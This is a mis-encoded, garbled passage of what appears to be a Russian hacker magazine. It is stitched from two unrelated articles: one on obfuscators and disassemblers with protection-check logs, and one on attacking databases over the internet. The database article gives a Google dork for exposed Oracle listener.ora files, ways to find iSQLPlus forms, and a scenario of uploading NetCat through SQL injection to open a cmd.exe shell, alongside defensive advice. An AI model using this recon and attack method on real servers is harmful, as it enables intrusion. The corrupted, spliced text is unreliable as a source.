äàæå íà òàêîì óðîâíå ïðèäåòñÿ î÷åíü äîëãî ðàç-
áèðàòüñÿ, ÷òî, êàê è êóäà.

Àíàëèç òèïà «÷åðíîãî ÿùèêà» ñóëèò íàìíîãî
áîëüøèå ïåðñïåêòèâû, êàê è ñîçäàíèå âèðòó-
àëüíîé ìàøèíû, îòðåçàþùåé çàùèòó îò âíå-
øíåãî ìèðà. Äèçàññåìáëåðû óæå îñòàíîâèëèñü
â ñâîåì ðàçâèòèè è ñêîðî âûìðóò, êàê ìàìîíòû
â ëåäíèêîâûé ïåðèîä. Â ïîñëåäíèõ âåðñèÿõ IDA
Pro íå ïîÿâèëîñü íè÷åãî ðàäèêàëüíî íîâîãî. Õó-
æå òîãî, íàìåòèëèñü ïðèçíàêè ÿâíîé äåãðàäà-
öèè, ïðåâðàòèâøèå îñíîâíîå îêíî äèçàññåì-
áëåðà â «ýòî» (âûðåçàíî ñòðîãîé öåíçóðîé).

Çà÷åì âîîáùå íóæíà òàêàÿ êðàñèâàÿ òðåõìåðíàÿ
«ðåïðåçåíòàöèÿ»? ×òî îíà ðåàëüíî îòîáðàæàåò?
Ñ äðóãîé ñòîðîíû, îò «íèçêîóðîâíåâîãî» äèçàñ-
ñåìáëèðîâàíèÿ íà óðîâíå àññåìáëåðíûõ êîìàíä
òîæå íå ìíîãî ïîëüçû. Ñîâðåìåííûå ïðîãðàììû
ñòàëè ñëèøêîì áîëüøèìè, êîëè÷åñòâî óðîâíåé
àáñòðàêöèé èçìåðÿåòñÿ ìíîãèìè äåñÿòêàìè, è
«ïëîòíîñòü» çíà÷èìîãî êîäà íåóìîëèìî ñòðåìèò-
ñÿ ê íóëþ. Ïðîãðàììà ðàçìåðîì â 100 Ìá ðåàëè-
çóåò ïðîñòåéøèé àëãîðèòì, â áûëûå âðåìåíà ñ
ëåãêîñòüþ óìåùàâøèéñÿ â íåñêîëüêî êèëîáàéò.
Êàêèå òàì îáôóñêàòîðû…

Îòñþäà ìíîãî÷èñëåííûå ïîïûòêè âèçóàëèçè-
ðîâàòü ïîòîê âûïîëíåíèÿ ïðîãðàììû, êîòîðûå ïîä-
íèìàþò íàñ íà óðîâåíü àíàëèçà ñòðóêòóðû êîäà.
Ñïóñêàÿñü ê ìàøèííûì êîìàíäàì òîëüêî òàì, ãäå
äåéñòâèòåëüíî íåîáõîäèìî. Ê ñîæàëåíèþ, ýòà ìåòî-
äèêà ðàáîòàåò íàìíîãî õóæå, ÷åì âûãëÿäèò, è òîëü-
êî óñëîæíÿåò àíàëèç. Ñòàíäàðòíûé ðåæèì äèçàñ-
ñåìáëèðîâàíèÿ, ê êîòîðîìó ìû ïðèâûêëè, âñå åùå
ïðèñóòñòâóåò â IDA PRO (âî âñÿêîì ñëó÷àå ïîêà), íî
óæå íå ÿâëÿåòñÿ ðåæèìîì ïî óìîë÷àíèþ 
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îáôóñêàöèÿ: 
èñòîðèÿ ááîëåçíè
Îáôóñêàöèåé (îò àíãëèéñêîãî obfuscation — áóêâàëüíî «çàïóòûâàíèå») íà-
çûâàåòñÿ ñîâîêóïíîñòü ìåòîäèê è ñðåäñòâ, íàïðàâëåííûõ íà çàòðóäíåíèå
àíàëèçà ïðîãðàììíîãî êîäà. Ñóùåñòâóþò ðàçëè÷íûå òèïû îáôóñêàòîðîâ:
îäíè çàíèìàþòñÿ èíòåðïðåòèðóåìûìè ÿçûêàìè òèïà Perl èëè PHP è «êîðå-
æàò» èñõîäíûå òåêñòû (óäàëÿþò êîììåíòàðèè, äàþò ïåðåìåííûì áåññìû-
ñëåííûå èìåíà, øèôðóþò ñòðîêîâûå êîíñòàíòû è ò.ä.), äðóãèå «ïåðåìàëûâà-
þò» áàéò-êîä âèðòóàëüíûõ ìàøèí Java è .NET, ÷òî òåõíè÷åñêè ñäåëàòü íàì-
íîãî òðóäíåå. Áîëåå ðàçâèòûå îáôóñêàòîðû âëàìûâàþòñÿ íåïîñðåäñòâåííî
â ìàøèííûé êîä, «ðàçáàâëÿÿ» åãî ìóñîðíûìè èíñòðóêöèÿìè è âûïîëíÿÿ öå-
ëûé ðÿä ñòðóêòóðíûõ (ðåæå ìàòåìàòè÷åñêèõ) ïðåîáðàçîâàíèé, èçìåíÿþùèõ
ïðîãðàììó äî íåóçíàâàåìîñòè.

Ôàêòè÷åñêè, ýòî ïîëèìîðôíûå ãåíåðàòîðû, èçâåñòíûå åùå ñî âðåìåí
öàðÿ Ãîðîõà. Ïðîáëåìà â òîì, ÷òî ïîëèìîðôíûé ãåíåðàòîð ìîæåò çà ñ÷è-
òàííûå ñåêóíäû ñãåíåðèðîâàòü õîòü ìèëëèàðä áåññìûñëåííûõ êîìàíä, ïå-
ðåìåøàâ èõ ñ íåñêîëüêèìè êèëîáàé-
òàìè ïîëåçíîãî êîäà, ÷òî ïîçâîëÿþò
ñîâðåìåííûå ïðîöåññîðû è æåñòêèå
äèñêè. Ïóñòü äàæå ñ ïîòåðåé ýôôåê-
òèâíîñòè, íî âñåì óæå äàâíî íàïëå-
âàòü íà ýôôåêòèâíîñòü.

óäàëÿòü ««ìóñîð» â àâòîìàòè÷å-
ñêîì ðåæèìå äèçàññåìáëåðû åùå
íå íàó÷èëèñü, à ïðîàíàëèçèðîâàòü
ìåãàáàéòû êîäà âðó÷íóþ íåðåàëüíî.
Íóæíû ïåðåäîâûå ìåòîäèêè ðåêîí-
ñòðóêöèè ïîòîêà óïðàâëåíèÿ, ðàñ-
ïëàâëÿþùèå «çàìóñîðåííûé» êîä è
ðàçäåëÿþùèå åãî íà «ïîëåçíûå» è
«áåñïîëåçíûå» ôðàêöèè. Èõ íåò äà-
æå íà óðîâíå «òåîðåòè÷åñêîãî ïîíè-

ìàíèÿ». Õîòÿ êîå-êàêèå èäåè íà ýòîò ñ÷åò èìåþòñÿ (íàïðèìåð íàëîæåíèå
ìàðøðóòà òðàññèðîâêè íà ãðàôû çàâèñèìîñòåé ïî äàííûì), äî ïðàêòè÷åñêîé
ðåàëèçàöèè åùå äàëåêî.

ìåòîäû îîáôóñêàöèè àêòèâíî èñïîëüçóþòñÿ ïðîäâèíóòûìè óïàêîâùèêà-
ìè òèïà Armadillo (íûíå ïåðåèìåíîâàí â Software Passport, ìîæíî ñêà÷àòü åãî ñ
ñàéòà http://siliconrealms.com/armadillo.shtml), eXtreme Protector (ðàçðàáîò÷èêè æèâóò
íà www.oreans.com/xprotector) è ò.ä. Áîëüøèíñòâî ïðîòåêòîðîâ «çàïóòûâàþò» òîëü-
êî ñâîé ñîáñòâåííûé ðàñïàêîâùèê, îïàñàÿñü âìåøèâàòüñÿ â êîä çàùèùàåìîé
ïðîãðàììû, òàê êàê ýòî ÷ðåâàòî íåîæèäàííûì ïîÿâëåíèåì ãëþêîâ â ñàìûõ ðàç-
ëè÷íûõ ìåñòàõ. Êàêîìó ïðîãðàììèñòó ïîíðàâèòñÿ òàêàÿ çàùèòà? Òåì íå ìåíåå,
îáôóñêàöèÿ ïðîöåäóð ïðîâåðêè ñåðèéíîãî íîìåðà (êëþ÷åâîãî ôàéëà) âñòðå÷à-
åòñÿ äîñòàòî÷íî ÷àñòî. Îáû÷íî îíà ðåàëèçóåòñÿ â ïîëóàâòîìàòè÷åñêîì ðåæè-
ìå, êîãäà ñîçäàòåëü çàùèòû òåì èëè èíûì îáðàçîì âçàèìîäåéñòâóåò ñ îáôó-
ñêàòîðîì. Íàïðèìåð, ïèøåò ñêðèïò, êîòîðûé îáôóñêàòîð òðàíñëèðóåò â çàìó-
ñîðåííûé ìàøèííûé êîä, èçîáðàæàÿ èç ñåáÿ «íåýôôåêòèâíûé» êîìïèëÿòîð.

Îáôóñêàöèÿ êîíêðåòíî äîñàæäàåò õàêåðàì, ïðåïÿòñòâóÿ ðåêîíñòðóê-
öèè àëãîðèòìîâ è áûñòðîìó âçëîìó çàùèò, íî ýòè ïðîáëåìû ìåðêíóò ïåðåä
ñèòóàöèåé â àíòèâèðóñíîé èíäóñòðèè. ×òîáû âçëîìàòü ïðîãðàììó, àíàëèçè-
ðîâàòü åå àëãîðèòì â îáùåì-òî íåîáÿçàòåëüíî. Çàòî îáíàðóæèòü çëîâðåä-
íûé êîä (îí æå malware) áåç ýòîãî óæå íå óäàñòñÿ!

Art.exe|0FFDBF8|MapViewOfFile(A0h, 04h, 00h, 00h, 00h) returns: 01230000

Art.exe|0FE4EDD|GetActiveWindow() returns: 00000000

Art.exe|0FD5D98|MessageBoxA(0,499DC:"Debugger detected.",,"Protection Error") returns;

Art.exe|FFFFFFF|ExitProcess(72542079)

Ëèñòèíã 110. ÂÂèðòóàëüíûé ððååñòð èè ññëåæåíèå ççà ííèì
app.exe|QueryValue|HKLM\Software\Licenses\{I5F218E3F24063708}|SUCCESS|0500000

app.exe|CreateKey |HKLM\Software\Licenses |SUCCESS|Key: 0xE132BB80

app.exe|SetValue |HKLM\Software\Licenses\{I5F218E3F24063708}|SUCCESS|06000000

app.exe|CreateKey |HKLM\Software\Licenses |SUCCESS|Key: 0xE132BB80

app.exe|SetValue |HKLM\Software\Licenses\{05F218E3F24063708}|SUCCESS|563EA80E0BA2A7A6

Îôèöèàëüíûé ñàéò ïðîòåêòîðà-îáôó-
ñêàòîðà eXtreme Protector

Ïîïûòêà âçëîìà ïðîãðàììû, çàùè-
ùåííîé Armadill’oé, ïðèâîäèò ê æóò-
êèì ðóãàòåëüñòâàì çàùèòû

Nfo îò õàêåðñêîé ãðóïïû TMG, âçëîìàâøåé îáôóñêàòîð Armadill
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Áàçà äàííûõ â Ñåòè — ëàêîìûé êóñî÷åê íå òîëüêî
äëÿ òåõ, êòî çíàåò, êóäà è çà÷åì îí ëåçåò, íî è äëÿ
òåõ, êòî ïðèîáðåë õàêåðñêèå íàâûêè, çàõîòåë ïîïðàê-
òèêîâàòüñÿ â íèõ è îïðîáîâàòü íîâûå ýêñïëîéòû.

â ïïåðâóþ îî÷åðåäü ïîñìîòðèì íà ðàñïðåäå-
ëåííûå «DDoS-àòàêè». Îíè íå ïîçâîëÿò äîáðàòüñÿ
äî èíôîðìàöèè è ïîëó÷èòü äîñòóï ê íåé, çàòî ñäå-
ëàþò êðèòè÷íûé ðåñóðñ íåäîñòóïíûì äëÿ îñòàëü-
íûõ ïîëüçîâàòåëåé. Ðàñïðåäåëåííûå «DDoS-àòà-
êè» îáû÷íî îðãàíèçóþòñÿ ïðè ïîìîùè áîò-ñåòåé (èç
êîìïüþòåðîâ-çîìáè). Ïî îöåíêàì ñïåöèàëèñòîâ,
ñåé÷àñ ïðàêòè÷åñêè êàæäûé âòîðîé êîìïüþòåð,
èìåþùèé âûõîä â èíòåðíåò, ó÷àñòâóåò â êàêîé-ëèáî
áîò-ñåòè, êîòîðàÿ â ëþáîé ìîìåíò ìîæåò áûòü èñ-
ïîëüçîâàíà äëÿ îðãàíèçàöèè ïîäîáíîé àòàêè.

ðàñïðåäåëåííàÿ ààòàêà îáû÷íî îðãàíèçóåòñÿ
ïî ñëåäóþùåé ñõåìå. Êîìïüþòåðû ïîëüçîâàòå-
ëåé, çàðàæåííûå îïðåäåëåííîé òðîÿíñêîé ïðî-
ãðàììîé, îáúåäèíÿþòñÿ â ñåòü. Îáðàçîâàííûå ñå-
òè ìîãóò íàõîäèòüñÿ â «ñïÿùåì ðåæèìå» äîñòà-
òî÷íî äîëãîå âðåìÿ, îæèäàÿ ñâîåãî ÷àñà. ×èñëåí-
íîñòü êîìïüþòåðîâ â áîò-ñåòè èíîãäà ïîëó÷àåò
ðàçìàõ îò íåñêîëüêèõ äåñÿòêîâ äî äåñÿòêîâ òûñÿ÷
ìàøèí. Â îïðåäåëåííûé ìîìåíò (ïî êîìàíäå âëà-
äåëüöà) ýòè óçëû íà÷èíàþò ïîñûëàòü çàïðîñû ê
ñåðâåðó ÁÄ. Èäåò ìíîæåñòâî áåññìûñëåííûõ îá-
ðàùåíèé — è âîò ñåðâèñ óæå îòêàçûâàåòñÿ îòâå-
÷àòü íà ëþáûå çàïðîñû. Â õóäøåì ñëó÷àå îí ñîâ-
ñåì âûõîäèò èç ñòðîÿ è ñòàíîâèòñÿ íåñïîñîáíûì
ñàìîñòîÿòåëüíî âåðíóòüñÿ ê ðàáî÷åìó ñîñòîÿíèþ.
Åñëè ïîäîáíàÿ àòàêà îðãàíèçóåòñÿ íà ñåðâåð ñ áà-
çîé ýëåêòðîííûõ ïëàòåæåé êðóïíîãî èíòåðíåò-ìà-
ãàçèíà, òî ðàçìåðû óùåðáà, ìîæåò áûòü, âíóøàò
óâàæåíèå è, íåñîìíåííî, ïîðàäóþò êîíêóðåíòîâ.

Áîò-ñåòü ÿâëÿåòñÿ îáû÷íûì, íî íå îáÿçàòåëüíûì
êîìïîíåíòîì òàêîé àòàêè. Ïîäîáíûå äåéñòâèÿ ìî-
ãóò ñîâåðøàòüñÿ è ïî ïðåäâàðèòåëüíîìó ñãîâîðó
ìàøèí, íå ñâÿçàííûõ â òàêóþ ñåòü.

êàê ïïðîòèâîñòîÿòü DDDoS-ààòàêå. Íàâåðíîå, íà
ñåãîäíÿ íåò ïðîñòîãî è óíèâåðñàëüíîãî ñïîñîáà
ðåøèòü ýòó çàäà÷ó. Êàê âàðèàíò — ðàñïàðàëëåëè-
âàòü çàïðîñû ê áàçå ëèáî ïèñàòü ïîëèòèêè, ñîãëàñ-
íî êîòîðûì çàïðåùàåòñÿ èñïîëüçîâàíèå ïðîöåñ-
ñîðíîãî âðåìåíè ñâûøå îïðåäåëåííîãî âðåìåííî-
ãî ïðîìåæóòêà. Îäíàêî ýòî íå âñåãäà ïðèåìëåìî,
à êðîìå òîãî, ïðèâîäèò ê áàíàëüíîìó óâåëè÷åíèþ
çàäåéñòâîâàííîé âû÷èñëèòåëüíîé ìîùíîñòè —
ðåñóðñû íàïðàâëÿþòñÿ íå íà ïîâûøåíèå ýôôåê-
òèâíîñòè ñèñòåìû, à íà âîçìîæíóþ îáðàáîòêó
ôèêòèâíûõ çàïðîñîâ.

èíòåðíåò-ððàçâåäêà. Âñåìèðíàÿ ïàóòèíà ïðå-
äîñòàâëÿåò øèðîêèå âîçìîæíîñòè äëÿ «ïðàêòè-
êóþùèõñÿ» âçëîìùèêîâ è ëèö, ñîáèðàþùèõ

ïðåäâàðèòåëüíóþ èíôîðìàöèþ îá èíòåðåñíûõ èì
ðåñóðñàõ, ãîäíóþ äëÿ ïðèìåíåíèÿ â áóäóùèõ àòà-
êàõ íà ÁÄ. Îíè ìîãóò èñïîëüçîâàòü ñîîòâåòñòâóþ-
ùèå çàïðîñû íà ïîèñêîâûõ ìàøèíàõ, è ïî èõ ðå-
çóëüòàòàì ñèñòåìà âûäàåò ñïèñêè èíòåðíåò-ñåð-
âåðîâ ñ áàçàìè äàííûõ. Ïåðâàÿ àòàêà, â õîäå êî-
òîðîé áûëà ïðèìåíåíà ïîèñêîâàÿ ìàøèíà, çàðå-
ãèñòðèðîâàíà â 2004 ãîäó, è ñ òåõ ïîð ýòîò ìåòîä
ÿâëÿåòñÿ îáû÷íîé ïðàêòèêîé äëÿ ïîëó÷åíèÿ äî-
ïîëíèòåëüíîé êîíôèãóðàöèîííîé èíôîðìàöèè î
ñåðâåðàõ-æåðòâàõ.

ïðèìåð îîäíîãî èèç òòàêèõ ççàïðîñîâ —— 
ñ èèñïîëüçîâàíèåì ïïîèñêîâîé ììàøèíû GGoogle
intitle:index.of listener.ora

Ïîëó÷àåøü ñïèñîê ñ èíôîðìàöèåé î òîì, êàêèå
áàçû äàííûõ Oracle äîñòóïíû èç Ñåòè (äðóãèìè
ñëîâàìè, òå, â êîòîðûõ ïðîèíäåêñèðîâàíû ñåðâè-

áàçîâûé 
èììóíèòåò
ÏÎ×ÅÌÓ ËÎÌÀÞÒ ÁÄ
ÎÒÂÅÒ ÍÀ ÝÒÎÒ ÂÎÏÐÎÑ ËÅÆÈÒ ÍÀ ÏÎÂÅÐÕÍÎÑÒÈ: «ÏÎÒÎÌÓ ×ÒÎ ÈÌÅÍÍÎ ÒÀÌ
ÕÐÀÍÈÒÑß ÖÅÍÍÀß ÈÍÔÎÐÌÀÖÈß È ÈÌÅÍÍÎ ÒÀÌ ÎÍÀ ÑÈÑÒÅÌÀÒÈÇÈÐÎÂÀÍÀ
ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÌ ÎÁÐÀÇÎÌ» |ÅÊÀÒÅÐÈÍÀ ÄÅÐÁÅÍÖÅÂÀ

êêààêê ççààùùèèòòèèòòüüññÿÿ
ÊÀÊ ÍÈ ÁÀÍÀËÜÍÎ ÇÂÓ×ÈÒ, ÐÀÇÃÐÀÍÈ-
×ÈÂÀÒÜ ÄÎÑÒÓÏ Ê ÐÅÑÓÐÑÀÌ, ÌÅÍßÒÜ
ÏÀÐÎËÈ, ÂÎÂÐÅÌß ÏÐÎÏÀÒ×ÈÂÀÒÜ
ÓßÇÂÈÌÎÑÒÈ È Ò.Ä. ÊÐÎÌÅ ÒÎÃÎ, 
ÑÓÁÄ ÍÅ ÄÎËÆÍÀ ÂÛÄÀÂÀÒÜ 
ÊÎÍÔÈÃÓÐÀÖÈÎÍÍÓÞ ÈÍÔÎÐÌÀÖÈÞ
Î ÑÅÁÅ: ÍÈ ÏÎ ÇÀÏÐÎÑÓ, 

ÍÈ ÏÎ ÑÎÎÁÙÅÍÈÞ ÎÁ ÎØÈÁÊÅ.

àòàêè 
íà ááàçû 
÷åðåç 
èíòåðíåò
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ñû listener). Èäåøü ïî ññûëêå è ïîëó÷àåøü èíôîð-
ìàöèþ î áàçå äàííûõ.

èíôîðìàöèÿ îî ááàçå ääàííûõ

# LISTENER.ORA Network Configuration 

File: C:\ORACLE\ORA81\network\

admin\listener.ora

# Generated by Oracle configuration 

tools.

LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION =

(ADDRESS_LIST =

(ADDRESS = (PROTOCOL = IPC)(KEY = 

EXTPROC1))

)

(ADDRESS_LIST =

(ADDRESS = (PROTOCOL = TCP)(HOST = 

127.0.0.1)(PORT = 1521))

)

)

(DESCRIPTION =

(PROTOCOL_STACK =

(PRESENTATION = GIOP)

(SESSION = RAW)

)

(ADDRESS = (PROTOCOL = TCP)(HOST = 

127.0.0.1)(PORT = 2481))

)

)

SID_LIST_LISTENER =

(SID_LIST =(SID_DESC=(GLOBAL_DBNAME=

storet) (ORACLE_HOME=c:\oracle\ora81)

(SID_NAME=sto2))

(SID_DESC =

(SID_NAME = PLSExtProc)

(ORACLE_HOME = C:\ORACLE\ORA81)

(PROGRAM = extproc)

Èç ýòèõ äàííûõ âûëîâëåíû ñâåäåíèÿ î âåðñèè áà-
çû. Ïîçæå ýòî ïðèãîäèòñÿ: çíàÿ íîìåð âåðñèè,
ìîæíî ïîïûòàòüñÿ ýêñïëóàòèðîâàòü îäíó èç èç-
âåñòíûõ óÿçâèìîñòåé èìåííî ýòîé âåðñèè. Êðîìå
òîãî, â ñîîáùåíèè âûâåäåí IP-àäðåñ, SID è íîìåðà
ïîðòîâ, ÷òî òàêæå ïðèãîäèòñÿ â ïðîöåññå àòàêè.

äðóãîé ïïðèìåð ððàçâåäêè ñâÿçàí ñ èíñòðóìåí-
òîì iSQLPlus — ñòàíäàðòíîé óòèëèòîé Oracle, êîòî-
ðàÿ èñïîëüçóåòñÿ äëÿ «îáùåíèÿ» ñ áàçîé. Íà÷èíàÿ
ñ äåâÿòîé âåðñèè Oracle îíà ïðåäñòàâëÿåò ñîáîé
web-ïðèëîæåíèå — êîíå÷íî, â ïëàíå èñïîëüçîâà-
íèÿ óäîáíî, òåïåðü òû íå îáÿçàí ñòàâèòü ñîîòâåò-
ñòâóþùèé àãåíò íà êëèåíòñêóþ ñòàíöèþ è äðàéâåð
SQL*NET (êàê áûëî â ðàííèõ âåðñèÿõ óòèëèòû).

Çíàÿ î ïîäîáíîé óòèëèòå, çëîóìûøëåííèê
ìîæåò çàïóñòèòü ïîèñê, ÷òîáû îáíàðóæèòü web-

ôîðìû iSQLPlus, èñïîëüçîâàâ äëÿ ýòîãî, ê ïðèìå-
ðó, âîçìîæíîñòè ðàñøèðåííîãî ïîèñêà â Google.

Ïîäîáíûé ïîèñê ìîæíî îðãàíèçîâàòü è ÷å-
ðåç Yahoo. Â ýòîì ñëó÷àå ïðîñòî çàïóñêàåòñÿ ïî-
èñê òåêñòà, êîòîðûé, êàê èçâåñòíî, ñóùåñòâóåò íà
web-ñòðàíèöå iSQLPlus — “iSQL*Plus Release”.

Ñóùåñòâóåò ìíîæåñòâî êîìáèíàöèé òåêñòî-
âûõ ñòðîê äëÿ ïîèñêà, êàê è ïîèñêîâûõ ìàøèí â
èíòåðíåòå. Èç Ñåòè äîñòóïíà îãðîìíàÿ ìàññà ñåð-
âåðîâ ÁÄ, è ÷àñòü èç íèõ îáÿçàòåëüíî èìååò íåçàê-
ðûòûå óÿçâèìîñòè, â òîì ÷èñëå íåèçìåíåííûå ïà-
ðîëè è ó÷åòíûå çàïèñè ïî óìîë÷àíèþ. Äàæå åñëè
òàêîé ñåðâåð ñàì ïî ñåáå íå ÿâëÿåòñÿ êðèòè÷íûì,
ìîæåò áûòü, îí ñâÿçàí ñ äðóãèì ðåñóðñîì, èíòå-
ðåñíûì çëîóìûøëåííèêó, èëè èç íåãî óñòðîÿò ïëî-
ùàäêó äëÿ íîâîé àòàêè.  

èñïîëüçîâàíèå
óÿçâèìîñòåé 
ïðèëîæåíèé
Åñëè ñàìè ÁÄ, êàê ïðàâèëî, çàùèùåíû äîâîëüíî
íåïëîõî è èõ îáñëóæèâàþò ãðàìîòíûå àäìèíèñòðà-
òîðû, òî äåëî ñ ïðèëîæåíèÿìè ÷àñòî îáñòîèò äî-
âîëüíî ãðóñòíî. Íàïðèìåð, ïîñìîòðèì, ÷òî ïðîèñ-
õîäèò, åñëè äîñòóï ê áàçå ðàçãðàíè÷åí ñðåäñòâàìè
ïðèëîæåíèÿ (âñòðå÷àåòñÿ äîñòàòî÷íî ÷àñòî) è ïðè-
ëîæåíèå îáðàùàåòñÿ ê áàçå ñî ñòàíäàðòíûì ïàðî-
ëåì. Õýø ïàðîëÿ ïåðåõâàòûâàåòñÿ îòëàä÷èêîì, â
ðåçóëüòàòå óäàåòñÿ ïîïûòêà ïîäêëþ÷èòüñÿ ê áàçå ñ
íåîãðàíè÷åííûìè ïðàâàìè. Âïðî÷åì, ñëó÷àåòñÿ è
òàêîå, ÷òî ïàðîëü ëåæèò â ðååñòðå, â êîíôèãóðà-

öèîííûõ ôàéëàõ — îáíàðóæèòü åãî áóäåò åùå ïðî-
ùå. Äðóãèìè ñëîâàìè, õàêåðó íå ïðèõîäèòñÿ äàæå
ëîìàòü ñàìó ÁÄ, äîñòàòî÷íî âíèìàòåëüíî ïðèãëÿ-
äåòüñÿ ê îêðóæåíèþ.

èñïîëüçîâàíèå
îøèáîê 
ñèíòàêñèñà
Îøèáêè ñèíòàêñèñà ÷àñòî îñòàâëÿþò áåç îñîáîãî
âíèìàíèÿ. Íåçàâåðøåííûé çàïðîñ, õðàíåíèå ïà-
ðîëåé â êîäå, èíîãäà äàæå â îòêðûòîì âèäå (!) —
òå óÿçâèìîñòè, êîòîðûìè çëîóìûøëåííèê âîñ-
ïîëüçóåòñÿ â ïåðâóþ î÷åðåäü, åñëè âîçüìåòñÿ çà
äîáûâàíèå äîñòóïà ê äàííûì.

Âîò, ê ïðèìåðó, ïîñìîòðèì, êàê âûãëÿäèò
îáû÷íûé çàïðîñ ê áàçå äàííûõ. Îí íà÷èíàåòñÿ ñ be-
gin è çàêàí÷èâàåòñÿ commit. Åñëè â áàçå ðàçðåøåí
ïîëüçîâàòåëüñêèé ââîä è îí íå ïðîâåðÿåòñÿ èëè
ïðîâåðÿåòñÿ íåäîñòàòî÷íî êà÷åñòâåííî, â ðåçóëüòà-
òå ïîñûëà çàïðîñà, â íà÷àëå êîòîðîãî ñòîèò îáû÷-
íîå begin, íî â êîíöå íåò commit, áàçà ïåðåñòàåò îò-
âå÷àòü íà äðóãèå çàïðîñû, îáðàùåííûå ê íåé.

êêààêê ççààùùèèòòèèòòüüññÿÿ
ÍÀ ÝÒÀÏÅ ÐÀÇÐÀÁÎÒÊÈ ÏÐÎÃÐÀÌÌÍÎ-
ÃÎ ÐÅØÅÍÈß ÍÅÎÁÕÎÄÈÌÎ ÇÀÄÓÌÀÒÜ-
Ñß Î ÁÅÇÎÏÀÑÍÎÑÒÈ ÄÀÍÍÛÕ, ÕÐÀÍÈ-
ÌÛÕ Â ÑÓÁÄ. ÅÑËÈ ÈÇÌÅÍÈÒÜ ÊÎÄ
ÏÐÈËÎÆÅÍÈß ÂÑÅ-ÒÀÊÈ ÍÅÂÎÇÌÎÆ-
ÍÎ, ÑÒÀÐÀÉÑß ÏÎ×ÀÙÅ ÈÇÌÅÍßÒÜ ÏÀ-
ÐÎËÜ ÒÎÉ Ó×ÅÒÍÎÉ ÇÀÏÈÑÈ, ÎÒ ÈÌÅ-
ÍÈ ÊÎÒÎÐÎÉ ÔÓÍÊÖÈÎÍÈÐÓÅÒ ÏÐÈËÎ-
ÆÅÍÈÅ. ÈÍÈÖÈÈÐÓÉ ÐÅÃÈÑÒÐÀÖÈÞ ÑÎ-
ÁÛÒÈÉ ÏÎÏÛÒÊÈ ÄÎÑÒÓÏÀ Â ÁÄ ÎÒ
ÈÌÅÍÈ ÝÒÎÉ Ó×ÅÒÍÎÉ ÇÀÏÈÑÈ.



êîðïîðàòèâíàÿ
áàçà ääàííûõ

çàùèòà îîò ââíåøíèõ ççëîóìûøëåííèêîâ. Íå
áóäåì ñïóñêàòüñÿ äî «øêîëüíûõ» ïðàâèë: ÑÓÁÄ â
âûäåëåííîì ñåãìåíòå è çà ìåæñåòåâûì ýêðàíîì.
Çëîóìûøëåííèêè íå ñèäÿò ñëîæà ðóêè — ìåòîäû
èõ ðàáîòû òîæå íå ñòîÿò íà ìåñòå, ïîýòîìó
«øêîëüíûå» ìåðû íå âñåãäà îáåñïå÷èâàþò íàäåæ-
íóþ çàùèòó. ×òîáû ïîâûñèòü çàùèùåííîñòü, íóæ-
íî ðåãóëÿðíî îöåíèâàòü åå, à â èäåàëå — ìîíèòî-
ðèòü äîñòóï ê ÑÓÁÄ. Êàê äîïîëíèòåëüíûå ìåðû —
«ñåòåâûå ëîâóøêè», òî åñòü ýìóëèðîâàííûå
ÑÓÁÄ, ñ ñîçíàòåëüíî ñîçäàííûìè óÿçâèìîñòÿìè,
äåéñòâóþùèå êàê ïðèìàíêè äëÿ õàêåðà. Òàêèå ëî-
âóøêè ïîçâîëÿþò âûèãðàòü âðåìÿ è ïðîàíàëèçèðî-
âàòü ìåòîäû èç çàïàñîâ àòàêóþùåãî. 

ïðèìåð ððàñ÷åòà. Îáúåì ÁÄ — 10 Ãá (ñðåäíèé
ðàçìåð ÁÄ â êîðïîðàòèâíîé ñåòè). Ñêîðîñòü êàíàëà
«èç ñåòè» — 1,5 Ìá. Ñêîðîñòü ïåðåäà÷è èíôîðìà-
öèè ïî êàíàëó — ïðèìåðíî 400 Êá/ñ. Ïðèìåðíîå
ñíèæåíèå ïðîïóñêíîé ñïîñîáíîñòè êàíàëà èç-çà åãî
çàãðóçêè ïëþñ âîçìîæíûå ðàáîòû è ïðîñòîè — 50%.

Òàêèì îáðàçîì, êîíå÷íàÿ ñêîðîñòü, ñ êîòîðîé
äàííûå áóäóò êà÷àòüñÿ ïî ñåòè, ñîñòàâëÿåò ïðèìåð-
íî 200 Êá/ñ. Âðåìÿ, íåîáõîäèìîå äëÿ âûêà÷èâàíèÿ
äàííûõ èç áàçû, — îêîëî 15-òè ÷àñîâ. Òðóäíî ïðåä-
ïîëîæèòü, ÷òî çà ýòî âðåìÿ àäìèíèñòðàòîð íå îá-
ðàòèò âíèìàíèÿ íà ïîñòîÿííóþ âûñîêóþ çàãðóæåí-
íîñòü êàíàëà è íå ïðèìåò ñîîòâåòñòâóþùèå ìåðû.

óÿçâèìîñòè, êîòîðûìè ìîãóò âîñïîëüçîâàòü-
ñÿ ëåãàëüíûå ïîëüçîâàòåëè â Ñåòè:

— ÎØÈÁÊÈ ÐÀÇÃÐÀÍÈ×ÅÍÈß ÄÎÑÒÓÏÀ;

— ÎØÈÁÊÈ ÑÈÍÒÀÊÑÈÑÀ;

— ÏÀÐÎËÈ ÏÎ ÓÌÎË×ÀÍÈÞ.

ïðèìåð. Çëîóìûøëåííèê (îáèæåííûé èëè
ïðîñòî ëþáîïûòíûé ïîëüçîâàòåëü) ïðîñêàíèðîâàë
Ñåòü ëþáûì èç äîñòóïíûõ ñåòåâûõ ñêàíåðîâ. Îí

îáíàðóæèâàåò ñåðâåð ÁÄ, ïûòàåòñÿ çàãðóçèòü íà
íåãî òàêóþ óòèëèòó, êàê NetCat, ïðè ïîìîùè òåõíè-
êè SQL-èíúåêöèè (çàãðóçêà áèíàðíîãî ôàéëà). Äà-
ëåå NetCat èñïîëüçóåòñÿ äëÿ ïðîñëóøèâàíèÿ âõîäÿ-
ùèõ ñîåäèíåíèé íà ïîðòó ñëóæáû telnet. Åñëè ïîä-
êëþ÷åíèå ïðîøëî óñïåøíî, çàïóñêàåòñÿ cmd.exe.

Ïîñëå òîãî êàê ïîäêëþ÷åíèå ïî telnet áóäåò
ðåàëèçîâàíî, ïîëüçîâàòåëü ïîëó÷èò äîñòóï ê êî-
ìàíäíîé ñòðîêå àòàêóåìîé ìàøèíû è àäìèíèñòðà-
òîðñêèå ïðèâèëåãèè.

êàê ççàùèòèòüñÿ. Îïÿòü æå, ïðîâåñòè àóäèò
ïîäêëþ÷åíèé ê ÑÓÁÄ — ïîäîáíàÿ àêòèâíîñòü áó-
äåò âîâðåìÿ îáíàðóæåíà.

